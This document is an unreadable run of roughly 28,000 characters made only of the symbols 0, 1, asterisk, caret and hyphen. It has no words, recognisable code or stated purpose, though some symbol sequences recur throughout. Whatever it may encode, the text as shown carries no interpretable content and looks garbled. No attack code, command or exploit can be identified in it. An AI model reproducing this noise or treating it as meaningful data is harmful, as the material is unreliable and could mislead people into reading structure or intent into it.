101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*01****01**01**110-11*1**1**001****01****00110-11011**01**011****011***0101*0101*1*****1101*01^1*********1***-*110-********0--------0101**0-001011*00101*0-11*01010^-*00--------00101**-001011*0^1101********0-*11*00^1*^101^^-11**1*01*1*--------0010-1*-00^11*--------110101*00-001011*01101*0-11**********1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------11*01*0-001011*011011010^1*0-11*1*^1********10^101*00^-*001*1*1101*00101*******0110-*101*1**--------1101101*0-001011**-*1101********************011*001*0^--------01010-*-00^1101010101*-11*1*^1********-1^1*001*01*001*1*--------00-11*0-001011*0^1101*****001010-001101101*001*010^-10-0-11*011*001*1*********1*1*********1**0101*101*01^11*00^1101010-*1*011*1*0011**--------10-001*-001011*0^1101*****001^1101*0-**1*010^1101^10-11*101*001*1*0101*001101*--------*01101*-001011*0^1101*********-011*00^1*^1********1^^1*001*01*001*1*01^1*11****011**0101011*001011********10^101********101101********************0-01*********-01********-*01********0-101********001011*********01101101********0-101*********0-01********-1011*********11*0101*10^1**********00101*0-*001*01^1*001****01**0-010^--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01010-1*****01**010^1***011***01^1^1******0-----10--10--1*-00101*001^1*^1101*****00-0-01*-1*001*010^1********0-*1*00^^1*01*1*01010^1*******0011**1010-0-*00--------01010-*-0011011010^11*1*^1********^1^1*00^-*001*1*--------^101*00-00101*001^1*^1101********011*001*00^1*^1*****01**01*0011*001*001*01*1*********10101*--00^11010^1*0110110^1011**1******001**01*001**^1011******001**01011***1*011******00101**01***01*101**011010-01*011*00--------10-01*0-00101*001^1*^1*0-11*1101*00101****1**0-*10-1011011011******011**0011*101**--------0^-*0-00101*001^1*^1*0-11*1101**101*--------1^-1*-*1101*--------11*001*-00101*001^1*^110101*^101101*-*001*1*1*^1********00^101*00^-*001*1*********00101*********1**0101*101*01^11*00^1101011*110-11*1*011011**001*00--------*10101*-00101*001^1*^1101******00-*00^11*00^1^^1********10-011*001*11*001*1*0101*001101*----------01*-00101*001^1*00-*01^1*11****011**^1011*001011********1^1101*********0-********010^1********001^1101********0-**********00101*******************0010-********0010-01*********0101********01101101********01101*0101*10101*001*1*********1*001*0-00^1*01^1*001*******-1*10--*01*01^1*001*******0-11010--0-*001^1*001****01**0-010^--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***10-1*****01**0010101****1***1^1^1*--------11***-*11*001^1*-01*01010^-*00--------01^-*-00^1101******--110-101*001*010^1**********01*00^1101*01*1*--------*001*00-*11*001^1*01011**********1*0010-0010-01*011*001*001*1*001*001^1**1101*1*001*1*^1*0---------011*00-*11*001^1*00-*001*001^1*0101101010^^^1*01011******00-**1010-*001*101**011010-01*011*00--------0-001*0-*11*001^1*^1101*****001^10-1*011*001*010^110101010-11*0101*01*1*1101*00101******001^1101*10^11**01**--------*1011*0-*11*001^1*1101*0-11*1101**01*01********10^1010101*0--101**0^1*--------^10-*-00^1101*********101011*00^1*^-^110-11*^1*01*1*--------1101*1*-*11*001^1*^1101*-010-11*1*^^101^-11**1*01*1*********-1*********01**0101*101*01^11*00^1101010-010-11*1*0110101**01*00--------11010101*-*11*001^1*-01*0101*001101*--------10101101*-*11*001^1*1101101010-*1*^^101*-11*-*001*1*01^1*11****011***1011*001011********110-1*******************0-1101********00-101********1*011********00^^1********0-001*********-101********110-1*********101*********0-1*********00-101********0011*0101*^11*001*1*********110^1*0-001101*01^1*001*******-1*10--00101*01^1*001*******010101010--0^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01^-1*****01***1101***011***01^1^1*010101*11****011***0101*0101*1*****1101*01^1*********1***-*-11***0010101*01****01**0--1010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**0--10110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******001010^^1*0-11*01101*01^1*********1***-001*1******0101011*********101****01***01^1^1******0--------001101*00-*10101*1^1*11****011**11*11*001011********-*********00-*****************************************00101*00101*^101*01*1*0101*01^1*01101*01010^--------00101**-*01*001^1*^110101*^--*-11**1*01*1*1*^1********00-001*001*001*01*1*--------1^-1*-*0011*---------101*00-*01*001^1*01101**********1*010-^^110^10110^-^--01********00^-1*001**011*1**010^-11*0-11*001*******-1*10--0-1*0-11*001*******-1*10--*-**1*0-*******011**110^1*00^1101******001**0^11**001*011*********010-011*001*101**011010-01*011**101********1011*10^11011******00-**11*-**11011******011**0011*101**----------1*0-*01*001^1*^1101*****0010101^-0-1*001*010^10-1*-11*-*001*1*--------1^-1*-0011011*---------0^1*-*01*001^1*^1101********0010^11*00^1*^1********1*1011*001*11*001*1*********10101*********1**0101*101*01^11*00^1101010101010-11*1*011*1*00101*00--------10-101*-*01*001^1*^1101******0010^1*1**001*010^10110-0-11*101*001*1*0101*001101********************^101*********101*********11*11********00^101**********01********01^-********010-101**********1*********010101********0101*0101*1*1*001*1*001*001^1*^1*0-11**1*01^1*001****01*****0--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001**00^-1*****01**00-11***0^1**001^1^1******0--------00101**-*01*001^1*1101*0-11*01010^1*******0011**1010-0-*00--------11*-*-00^110101*^1**********11*001*11*001*1*1*^1********10101101*001*11*001*1*--------010-*00-*01*001^1*^1101*********1*11*00^1*^1*****01**00-101**^101*001*1*********10101*010-0010-01*011**1*0---------0101*0-*01*001^1*01011*0011**01101*01*0101**-**11*00101101010^^101**-*00101**011010-01*011*00--------1011011*0-*01*001^1*00-*1101*00101*******-*-110110101**01*0011**11011******011**0011*101**--------001*01*-*01*001^1*00-*1101**101*--------1^-1*-*-1*--------0010^1*-*01*001^1*10-**********1*********01**0101*101*01^11*00^1101**010-11*1*0110101**-**1**-*0---------10101*-*01*001^1*1101*0-11*0101*001101*--------010-01*-*01*001^1*^1*0-11*01^1*11****011**01*11*001011********01011*********10^101********-1*********0101*1********0110-*********0-01********00^-********00^-******************************0110101********10-1*********011*0101*1*1*001*1*********011*1*0-*11*001^1*001****01*****0--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01*-1*****01**0011****0101***1^1^1***00-----10--11*1011*-00101*001^1*^1101******0011*01011011*001*010^1*****01**010^-*00^^1*01*1*01010^-*00-----10--1*10-*-00101*001^1*10-*--------^10-*-00^1101******0--01010101*001*010^101*010-11*^1*01*1*--------***00-00101*001^1*^1101010^^-11*1*^10-0010-11**1*01*1*********-1*010-^^110^101101011011*^1**01******0011**0-11**01*011*********001^101*00^1011*0-1*0-11*0101**011010-01*011*00--------110101*00-00101*001^1*^110101*^1********01010101*001*001*01*1*1*^1********0-0011*001*001*01*1*1101*00101*******01^1*010^11011******011**0011*^1*0011**11011******00-**11*101**--------0110101*0-00101*001^1*^1101*-00--010-01^-11*-11010101*001*^1*****01***00101**1*01****01**001**0--*****001***00101**1*01****01**001**0--*****00^1^11*-1*001*010^1010^10-11*-*001*1*1101*00-1*-11*--------1^-1*-*0-*--------0011*1*-00101*001^1*1101*0-11*********^1*********01**0101*101*01^11*00^1101*011*-11*1*0110101**01**-*0---------00101*-00101*001^1*^11010--10-11*1*^1********10101011*001*11*001*1*0101*001101*--------110-01*-00101*001^1**11*01^1*11****011**1*011*001011********11*01********011*-********0-^1********1*0-********01*1********001^-********00-^1********^11011*******************-*********00-^1*******************011*0101*10101*001*1*********101*1*0-00^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001***00-1*****01**0-0101***-***1^1^1******0--------1^1**-*01*001^1*^1101******11011*01*01*00^1^^1*****01***0-**0^101*001*1*01010^1********00^-010-0-*00--------0^-1*-*101*0-11*--------011011*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------011*1*0-*01*001^1*^1101******^11*0^-*001*010^1********101*01*00^-*001*1*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00---------0011*0-*01*001^1*1*^1********-01101*001*11*001*1*1101*00101****1**01101*1*10^--------00-11*0-*01*001^1**11*1101**101*--------1^-1*-00-01*--------0011*1*-*01*001^1*11011**********1*********01**0101*101*01^11*00^1101011011*1*011011**01**--------00^101*-*01*001^1*^1101******-0101*11011*00^1^^1*****01**0101*01*00^101*001*1*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11****011***0011*001011********101^1********010^1********001*0101********0-*********00-*********011*001********11*01********00101^1********0101^1********01*11********0101^1*******************0011*0101*1*1*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0--11*****01**00-****11***01^1^1*--------1^11*00-00101*001^1*00-*01010^-*00--------1^-1*-*0-*--------11*01*0-00101*001^1*^1*0-11*********^1*0010-0010-01*011*^1*0--------0010101*0-00101*001^1*^11*1011**011010^1*011**1011*00101101010^^11**0101**011010-01*011*00--------*1011*0-00101*001^1*01101*1101*00101*******101*1*101*1**---------0-*0-00101*001^1*01101*1101**01*01*******001*1^10101*0--101**0^1*--------1^-1*-0010-*---------1*1*-00101*001^1*-01**********1*********01**0101*101*01^11*00^11010-1*0-11*1*011*1*0011**--------*10101*-00101*001^1*00-*0101*001101*--------0^1101*-00101*001^1*^1101*****00101^110-***1*010^1^11*011*001*1*01^1*11****011**-1101*001011**********1********0-01*********0011*1********0011*1********0^101********01*01********001*011*******************1010-********00-*1**********1********01*011*********11*0101*10101*001*1*********0-001*0-*11*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0-10-*********00-**0011***01^1^1*********-----10--1010-11*-00101*001^1*^1101*****00101**0011**001*010^1*****01**00-11**01*101*01*1*01010^11011******0-1**10-0-*00--------0^-1*-*101*0-11*--------10-**-00101*001^1*^1101*****00110-00^1^1*001*010^101010110-11*-*001*1*********0^1*--00^11010^1*01101101*011**1******0011**01*01**^1011******0011**^-**01*011*******11**01*01*001*101**011010-01*011*00--------0-001*0-00101*001^1*11011*1101*00101*******^^-11011011011******00-**11*-**11011******011**0011*101**--------*1011*0-00101*001^1*11011*1101**101*--------10110-*-001101101010-*1*^^^^-11*^1*01*1*--------0--*0-00101*001^1*^1101*-110-11*1*^110^110-11**1*01*1*********-1*********01**0101*101*01^11*00^1101*010110-11*1*011*1*00101*00--------0-^1*-00101*001^1*^1101*****001101^1*011**01*010^1********^1^1*00^-*001*1*0101*001101*--------10101101*-00101*001^1*^1101*011010-11*1*^1*****01****01**1*11*001*1*01^1*11****011**0-101*001011********-101********0011*001********10^11********010-01********0-1*1********--1*********011*********0-1101******************001101101********0-01101********1101*0101*10101*001*1*********110^1*0-*101*01^1*001*******010101010--0^1*01^1*001****01**001**0--*01*01^1*001****01*****0--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**00-0-*****01**0101011****1***1^1^1*-----10--1*10-*-00101*001^1*10-*01010^-*00--------00110-*-001*^1*****01**0101***0^-*001*1*-----10-----*-00101*001^1*1101*0-11*********^1*0--00^11010^1*0110110^1011**1******0011**001*01*00^1011*******1**-01101*001*011*******-**001**001*101**011010-01*011*00---------001*00-00101*001^1*^11010-01^-11*1*^1********1**1*001*11*001*1*1101*00101****1**01101**010^11011******011**0011*101**--------101*1*0-00101*001^1*^1101******0-101*101**0^1^^-011010-11*^1*01*1*1101*00101******0010-11*010^11011******011**0011*101**--------11*11*0-00101*001^1*^1101*11*0-11*1*^11*1*-11**1*01*1*1101*001101*--------11*-*-00^11010-01*-11*1*^1*****01**01*001**^-*001*1*--------1^-1*-*0011*--------0101*1*-00101*001^1*^1101010110110-11*1*^1********1*0101*001*11*001*1**********11*********0^1*********01**101*101*01^11*00^110^1^110-11*1*011*1*0011**--------1*1101*-00101*001^1*10-*0101*001101*--------110-01*-00101*001^1*01011*01^1*11****011**10-01*001011********-01011********001*01********1010101********001*101*********11*********-01011********0-*********00-********************01^11********0^11011********01*101********0011*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**0^110^--*01*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001**010110-*****01****01***001***1^1^1*********010101*11*00------10-1^1011*0-00^1*01^1*^1101********01*0-*00^1*^1********0101^1*001*-*01*1*------10-10--*0-00^1*01^1*01^^-11*--------1^-1*-00^11*------10-11011*1*-00^1*01^1*0-1*-11*********^1*0^-001**00--1^11*-11*-*001*1*------10-11*0101*-00^1*01^1**110101*^1********01010101*00^1011*01*1*1*^1********1101^1*00^1011*01*1*-*001^1*-01*--------0^-1*-00-01^-11*------10--*011*-00^1*01^1*^110101*^1^^10-11*0-*01*1*1*^1*-00-11*0-*01*1*********0^1*^-001**00--101101*-*001*1*------10---011*-00^1*01^1*^1101******-11*01011**01*010^1*****001**0^1**001**1*1*1*-*001^1*1^1*-11*101*001^1*011****011**1**1*101*1**--------^10-*-00^1101*****00^1010-010101*00^1^^-0^10-11*1101*01*1*-----1*-11*01**-00^1*01^1*00-^-11*********^1*0^-001**00--10^1*-11*-*001*1*-----1*-1^^1*00-00^1*01^1*1101101*011*1*^11*-0-11*0011*01*1*-*001^1*01011*-----1*--01011*00-00^1*01^1*^1101*****001*-^^-*001*010^1********-0^1*001*101*01*1*010-^101****1***0^101^-0110101******10101**101******01**01^101*001******01**0010-1*00^1*******001011**11*1^101^-*101**011*******00101011*10^^-*011**^101^10-*00^11011*101*10-11*--------00110-*-00^110^^1*-11*1*^-1^10-11*1011*01*1*-----1*--**1*-00^1*01^1*-01**********1*0^-001**00--1^11*-*001*1*-----1*--^^1*-00^1*01^1*01101*-11*-*001^1*^11*--------01^-*-00^1101******1011*00-101*00^1^^1*****01***-1**0^1101*01*1*-----1*-110^1101*-00^1*01^1*^1*0-11*********^1**-1*0-*-11*^101^-*101**--------0^-1*-*1101*-11*-----1*-1^1^11*-00^1*01^1*01*^-11*********^1*0^-001**00--1*11*-*001*1*-----1*---1011*-00^1*01^1*0^1^-11*-*001^1*1*1*-11*011*001^1*011****011**01101010-101^11*00--------01^-*-00^1101*****00--^1*01**1*010^1*****001**1010101**1**1*1*1*-----1^--11**00-00^1*01^1*1011*0-11*********^1*0^-001**00--1*01*-11*-*001*1*-----1^--1011**-00^1*01^1*0-0^-11*-*001^1*01101*-11*0101****01**-11010-10110101*001*1*011****011***11010-101^11*00--------0^-1*-*-0^-11*-----1^-1^-1*00-00^1*01^1*-1*0-11*********^1*0^-001**00--110101*-11*-*001*1*-----1^-11*0101*0-00^1*01^1*00-*-*001^1*-1*0-11*001*001^1*011****011**0-^1*101*0-010-11**01010-11*01101*01**--------1^-1*-*0-*-----1^---011*0-00^1*01^1*01010^-11*********^1*0^-001**00--10-*0-11*-*001*1*-----1^--1*001*-00^1*01^1*0-*0-11*-*001^1**01*-11*-----1^-11*0^1*-00^1*01^1*1101101*011*1*^1********1*0101*001*-*01*1*--------^10-*-00^1101*****001010-01*0101*001*010^1*01^-11*0101*01*1*-----1^--*1101*-00^1*01^1*1*0^-11*********^1*0^-001**00---11*0-11*-*001*1*-----1^--01*11*-00^1*01^1*11*^-11*-*001^1*0011*0-11*-----1^-110^1011*-00^1*01^1*^1101******0010-1010-1*001*010^101011*0101*01*1*110101******011**00101******11**10101101*001******11**--01*00^^101^-*1^1*001101*^1*00-1*01**--------0^-1*-0011*^-11*-----1010-11***00-00^1*01^1*^1101*******0^--**01*010^101011*-11*0101*01*1*********0^1*^-001**00---01*0-11*-*001*1*-----1010--0-**-00^1*01^1*1*1*-11*-*001^1*0101*0-11*-----1010-11010101*00-00^1*01^1*^11010^1*0-11*1*^1********01^101*00^1011*01*1*010-^101****1***0^101^-0110101******01*01*0101******01**001^1**1******01**-1101**^1********-11*011*1*1*01********-11*011*1011****011**10101010-101^11**11****011**10-001*10^1101**-1*^^110^11**1*0101*11011*10-*--------0^-1*-001*1*-11*-----1010-110110-*0-00^1*01^1*^1101******00^10-10-*00^1^^1********--11*00^1101*01*1*********10101*^-001**00--1^1*0-11*-*001*1*-----1010-110110^1*-00^1*01^1*10101*-11*-*001^1*^1*0-11*--------0^-1*-00-11*-11*-----1010-1101010101*-00^1*01^1*00^^-11*********^1*0110-*001*0011****011**10101010-101^11*00--------^10-*-00^1101*****00101011*0010-*001*010^10-1*-11*0101*01*1*-----1010---0011*-00^1*01^1*001*10-11*********^1*0^-001**00--10-1*-*001*1*-----1010-1101*-*-00^1*01^1*01011*-11*-*001^1*^11*-11*--------0^-1*-001011*0-11*-----1010-110110-1*-00^1*01^1*^1101******110-10101101**1*010^-01*0-11*0101*01*1*********0^1*01*01011011*001*001*1*--------0^-1*-*1011*-11*------0--1101**-00^1*01^1*^1101******00-01*^1**1*010^1*****001**11*01**1**1*1*1*********10101*^-001**00--1*11*-11*-*001*1*------0--11011*00-00^1*01^1*--00-11*-*001^1*00101*-11*------0-1^1*1*0-00^1*01^1*-1*0-11*--------01^-*-00^1101*****00-1*00-011**1*010^1*****01**0-11011*001**1*1*1*------0-11*0011*0-00^1*01^1*010-00-11*********^1*0^-001**00---001*-11*-*001*1*------0-1^10-*0-00^1*01^1*^1101*****00^10101101*1**1*010^1********01*001*001*101*01*1*-*001^1*10101*-11*101*001^1*011****011**1101*1*101*1**--------1^-1*-*0011*------0--101^1*-00^1*01^1*^110^10-10-11*1*^1********1011*1*00^1011*01*1*********0^1*^-001**00--^101*-11*-*001*1*------0-11*-01*-00^1*01^1*0101*0-11*-*001^1*11011*1101*0011****011**0-^1*101******01**1*0101*001******01**10110101*001*1101*01**--------01^-*-00^1101******010^^^11**1*010^1*****01**0101*11*001**1*1*1*------0--0010-*-00^1*01^1**110^101*0-11*1*^101011*1011*01*1*********0-*0^-001**00--101011*-*001*1*-----^--1***0-00^1*01^1*^11*-11*-*001^1*0-*0-11******01101*00---0101******11011011*10^110101******-01011*101*0011*-11*01**--------0^-1*-00^11*-11*-----^--01^1*00-00^1*01^1*^110101^1^-11*1*^11*1^-11*-1*01*1*********-1*0^-001**00--11011*0-11*-*001*1*-----^--**1*0-00^1*01^1*10-*-11*-*001^1*00-*--------0^-1*-00^-00-11*-----^--1^101*0-00^1*01^1*^1101********0011*11*00^1*^11*1*-11*0-*01*1*********0^1*00-1*-0110-**1010110^101^-*101**--------0^-1*-0010-*-11*-----^---0-*0-00^1*01^1*-00^-11*********^1*0^-001**00---011*-*001*1*-----^--0101*1*-00^1*01^1*1*^10-1^-11*1011*01*1*-*001^1**11*0101*0011****011**0^10101^-0--------0^-1*-0011011*-11*-----^--01^101*-00^1*01^1*^1101*******10110110-1*00^1^^1*01*-11*1101*01*1*********0^1*^-001**00---101*-*001*1*-----^--01*011*-00^1*01^1*^1101********0^-11*00^1*^1********00101011*00^-1*01*1*-*001^1*-01*-11******01101*00---0101******11011011*10^110101******-01011*101*01*001*1*01**--------1^-1*-*1011*-----^--0^-1*-00^1*01^1*^1101******00^110-***1*010^1*****01**011*001*001**1*1*1*********10101*^-001**00--101101*-11*-*001*1*-----110--0^1**-00^1*01^1*-01*-11*-*001^1**11*-11*001*001^1*011****011**0-^1*101******11**0110-1*001******11**010-11*001*1101*01**--------0^-1*-00-01*-11*-----110--^-*00-00^1*01^1*10101^-11*********^1*0^-001**00---101*-11*-*001*1*-----110--101^1*0-00^1*01^1***10-11*-*001^1*1011*0-11*011****011**-01010-101^101******0011*0-^-0^1*0011*00--------0^-1*-**0010-11*-----110--1011011*0-00^1*01^1*^1101011011*-11*1*^1********11*011*00^-1*01*1*********0^1*^-001**00--^11*0-11*-*001*1*-----110--0101*1*-00^1*01^1**1101**^-11*1*^-01*0-11*0-*01*1*-*001^1*10-*-----110--00-001*-00^1*01^1**00^-11*010-^101****1***0^101^-0110101******01*01*0101******1***01^1*001******1**01101*1*00^1*******001011**11*1^101^-*101**1********-11*011*-1**11****011**10-001*10^1101**-1*^^-00^1*001*0101*01101*11011*-11*--------00110-*-00^110^^1010-11*1*^1**10-11*0-*01*1*-----110--11*-*-00^1*01^1*00-*-11*********^1*0^-001**00--^-*-*001*1*-----110--0110-1*-00^1*01^1*1*^1*^10-11*1011*01*1*-*001^1*0-1*0011*0011****011**0-^1*101******1**001^101*001******1**001010101*001*1011*01**--------00110-*-001*^1*****01**01010^1*001*011*01*1*-----10--^^1*00-00^1*01^1*^-00-11*********^1*0^-001**00--110-*-*001*1*-----10---1011*00-00^1*01^1*-10^-11*-*001^1*1101*0-11*1011*01*******001*0^1011*1*01*-11*--------0^-1*-00-10^-11*-----10---00101*0-00^1*01^1*^110^11*10-11*1*^1*****01**00^11**01*011*01*1*********0^1*^-001**00--10101*0-11*-*001*1*-----10--1*0-*0-00^1*01^1*^1101*******01^101011**^1^^1*****01**010-1**0^1101*01*1*-*001^1*0^1*-11*--------^10-*-00^1101******11011**0-*001*010^10-1^-11*0101*01*1*-----10--1^1^1*-00^1*01^1*01101**********1*0^-*101*******01*11*101*101******001*00-^-0011*******00101011*10^^-*011**^10-11*1*001*-1*1*1010-11*011**^1*--------0^-1*-0010-^-11*-----10--1011*11*-00^1*01^1*0011*0-11*********^1*0^-001**00--11*1*-11*-*001*1*-----10--101011011*-00^1*01^1*^11*-*001^1*01101*******1**1^1******001*00110-01*****011**-1*********0-10-*****01***01^1*****011**0-0101*****01**0^-11********1010-******11*0010^-*****011**10101011*****011***1^1********0-0011*****0101*001^1******0-**01*1*****0011**0110-1*****01**01^1101*****001**11*1******1**01101101******11**11*******11**1*0101*****01**0--1********00-0101*****0101**10^11*****0011*001*0011*****011***0101****************0101**0-11******1**011*1*****00-*00^101******01**1010-*****00-**0-11*****0011**10101011******1**1*01*****00101***01******011***01******101**01*1*****001**0^^1********0^1^1*****0-**-101******1**10^101*****01**0-1*******1**1101101******01*0011*******001**00^-*****0011***1101*****01**01^1011*****0011**^101******01*00-^1********01101*******01**0110-*****0-**11*******001**00^11******1**110-*****00101***1101*****0101**1*11*****00101*001*-1********01^1******101*001010101*****0011**101101******011**11*1******1**^1^1*****0101*00^-11*****0101*001010^1*****001**011*11*****001**11*1******-*00-0011*****0011**1*-******11*001*-*********-01********0101*10101*10^1*01*1*^1*01^1*11010^-11**01*1^1*001*******010101010--0-1*01^1*001****01**001**0--00-*01^1*001****01*****0--01011*01^1*001****01**0-010^--*11*01^1*001*******0-11010--01101*01^1*001****01**0^110^--00101*01^1*001*******-1*10--001101*01^1*********1***-001*1***001***110-******01*010101011***001**001^1^1*********010101*101*******01*10-101^11*00------0-11011**00-*01*001^1*1101101*-*1*^1*01010-11**1*01*1*------0-1^101**-*01*001^1*00-*--------0^-1*-*-*0-11*------0--1*1*00-*01*001^1*01011*-11*********^1*0^-001**00--10-*0-11**1*0------0-11011011*00-*01*001^1*^11010^-00-11*1*^1*****01**01011***1*11*001*1*0011*0-01*--------0^-1*-*0101*-11*------0--*101*0-*01*001^1*^1101********0^10101*00^1*^1010-10-11**1*01*1*********0^1*^-001**00--101101**1*0------0-1^11011*0-*01*001^1*^1101******11**1*11**1*010^1*11*-11*1101*01*1*0011*0^1*0-11*01^1*101*******1010110-101^11*00--------01^-*-00^1101******10-10-1*1*00^1^^1*****01**0^-1**^^1*01*1*------0--101^1*-*01*001^1*01011010^1*0-11*1*^1********-01101*00^101*001*1*********0^1*^-001**00--10-1**1*0------0-1101101101*-*01*001^1*1101101*011*1*^1*****01**001*001*001*101*01*1*0011*00-*0-11*--------0^-1*-0011*^-11*------0--*1011*-*01*001^1*11011*-11*********^1*0--*101****01**0-1010-101^11****011***1101*0101*1**-*00--------0^-1*-001011*0-11*------0-110^-1*-*01*001^1*^1101*****00110-001^-**1*010^101010110-11*-*001*1*********0^1*^-001**00--11011*0-11**1*0-----^--0-**0-*01*001^1*1*^-*110-11*011*001*1*0011**11*0-11*-----^--10-**-*01*001^1*^1101*****00110-0-0101**01*010^1^-00-11*-*001*1*01^^110101******-^1*0101******1***^11**1******1**001101**00^110101******01^101*101**1^-11*1*0110-11*0101****01**10-010-10110-**11****011***1101*0101*1**011*00--------01^-*-00^1101******01*1^10101**1*010^1*****01**01*^1*00^1101*01*1*-----^--*1011*0-*01*001^1*^1101********00^^1*00^1*^1*10^-11**1*01*1*********0^1*^-001**00---01*0-11**1*0-----^--001*01*-*01*001^1*^1101*****00^1*01*11**01*010^1*****01***-11**^1101*01*1*0011*00-1*-----^--1101^1*-*01*001^1*^1101********001101011*00^1*^1********1**1*001*101*01*1*01^^110101******^1^1*101******11**10-101*001******11***^11*00^1*********001*11*1011****011**0110101*0101*1**011****001***1^1*101*1101*01*11011**10-00101^-*001*0101*011*00--------0^-1*-*1101*-11*-----^---11011*-*01*001^1*01011010^11*1*^--110-11*101*001*1*********0-*0^-001**00--110-**1*0-----^--0110-1*-*01*001^1*^1*0-11*0011*01101*0-11*-----110--01***-*01*001^1*1*^-00-0-11*0101*01*1*--------0^-1*-00^1*0-11*-----110--10101**-*01*001^1*1*1*-11*********^1*0^-001**00--10101*0-11**1*0-----110--*101*00-*01*001^1*^1101******0-110-^1**^1^^1********01101101*00^^1*01*1*0011*001011*-----110----*00-*01*001^1*^11010-*10-11*1*^1********101*01*001*001*01*1*01^^110101******^1^1*101******01**0011*1*001******01**^-11*00^1********-11*011*1011****011**00101010-101^1**011****011**1*-*0101*-**^^^101010-11**0^11011*******************001**01*01*11*00---------10-*-001*^-01*0-11*101*001*1*-----110--1101*1*-*01*001^1*01101**********1*0^-001**00--1^11**1*0-----110--00-001*-*01*001^1*1*^1^10^-11*011*001*1*0011*010-*01^^110101******1^-*010^^^10-11*00110^-11*011*00--------0^-1*-*-1*-11*-----110--00-101*-*01*001^1*01011**********1*0^-001**00--^-**1*0-----110--101^11*-*01*001^1*11011*0011*01011*0-11*1101**011010-01*-*00--------1^-1*-0011011*-----110--01*-*-*01*001^1*-11*-11*********^1*0^-001**00--^11*0-11**1*0-----110--1010-1*-*01*001^1*^1101********011011011*00^1*^^110110-11*011*001*1*0011*00101*0-11*1101*001101*--------^10-*-00^1101*****00101**11*11*001*010^11*-0-11*-*001*1*-----10--^-**-*01*001^1*1101*0-11*********^1*0^-001**00--1^1*0-11**1*0-----10---1101*00-*01*001^1*^110^1011010-11*1*^1********--01*001*001*01*1*0011*011011*01^^110101******1^-*0101******01***1*1*001******01**10110-*001*11*00--------0^-1*-**1*-11*-----10---01101*0-*01*001^1*00-*-11*********^1*0^-001**00--101011**1*0-----10--11011011*0-*01*001^1*10101*-11*0011**-*-----10--1*-1*0-*01*001^1*10-*01^^110101******^1^1*101******1***10^1*001******1**01*0-*00^1********-11*011*1011****011**1010101*0101*1**011****011**10-001*10^1101**-1*^^-001**001*0101*01101*0-1*-11*011*00--------0^-1*-0010101*-11*-----10--11*1101*-*01*001^1*1*0^-11*********^1*0^-001**00---011**1*0-----10---*011*-*01*001^1*1*^1********01010101*001*001*01*1*0011**011*0101*00101******0011*1101^-0--------^10-*-00^1101******1010-01*011*001*010^10--0-11*-*001*1*-----10--101010-*-*01*001^1*1*^1*********1*1*001*11*001*1*********-1*0^-001**00---101**1*0--------01***-*01*001^1*-01*-11*0011*0^11*01^^110101******-^1*0101******1**0^1101**1******1**0110101**01*11****011**-^1*0101*1**011*00--------0^-1*-00-01*-11*--------110101*00-*01*001^1*^1101**********001*00^1*^^10-0-11*101*001*1*********0^1*^-001**00--1*11**1*0--------011*1*0-*01*001^1*0-*0-11*0011*001101******011**001011******11**11*01********00-*1*****011**01^11********0-0-******1**^-1******1**00--******************00-00101*****001**01101101*****01**01010-*****001**010101101*****001**-^1********010--*****011**-*01******1*00101011********00101101******11**10^-********-^1******1**101^11********00^-******1*0011011******001**^101******11**^^11*****001**11*01*****001**001*1******1**0^-1******01*0010-1******11**1101^1*****011**10^-*****01**0101*1*****001**0101*1******1**1101101*****001***-01********0^11011******1*00110^1*****001***1*01*****01***-001*****001**0^1*******1*00-*********001101******001***001011********01010^101*1*1*001*1*001*001^1*01*^-11*1101*01^1*001*******010101010--00101*01^1*001****01**001**0--0^1*01^1*001****01**0^110^--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**011010-*****0101*0010-1***0011***1^1^1*********01010^-*00------0--001**0-00-*001^1*00101*-11*------0-110^1**-00-*001^1*^11*--------01010-*-00^1101*****00^10-*0-1*001*010^-101*0-*01*1*------0--00101*00-00-*001^1*^110^1010^-11*1*^1**********01*00^^1*01*1*********0^1*^-001**00--10-*0-11*101*001*1*------0-11011*1*0-00-*001^1*1101*0-11*101*001^1*-01*--------01^-*-00^1101*****00-0011*1*1**1*010^1*****01***1101**0^1101*01*1*------0--0^11*0-00-*001^1*^110^110-0-11*1*^-101^-11*1011*01*1*********-1*0^-001**00--101101*101*001*1*------0-110--*0-00-*001^1*1*^1********1010^1*001*001*01*1*101*001^1*1011*0-11*0011**011010-01**1*0--------01^-*-00^1101*****001*-101^-*001*010^1********-0^1*001*-*01*1*------0-11*10101*-00-*001^1*^1101*****00--101011***^1^^^-110-11*0011*01*1*********0^1*^-001**00--^11*0-11*101*001*1*------0--01*11*-00-*001^1*0011*0-11*101*001^1*^11*1101*01*******001*0^1011*1*00-011****011**00101010-101^1**--------0^-1*-*011*0-11*------0--0^-*-00-*001^1*^1101******---1*11*001*010^^^^-11*0-*01*1*********0^1*^-001**00--1*11*101*001*1*-----^--1***0-00-*001^1*1011*0-11*101*001^1*0-1*0011*001101*--------0^-1*-001011*0-11*-----^--01101**-00-*001^1*^1101******00^1010110-*001*010^-001*-11*0-*01*1*********0^1*^-001**00--110-*101*001*1*--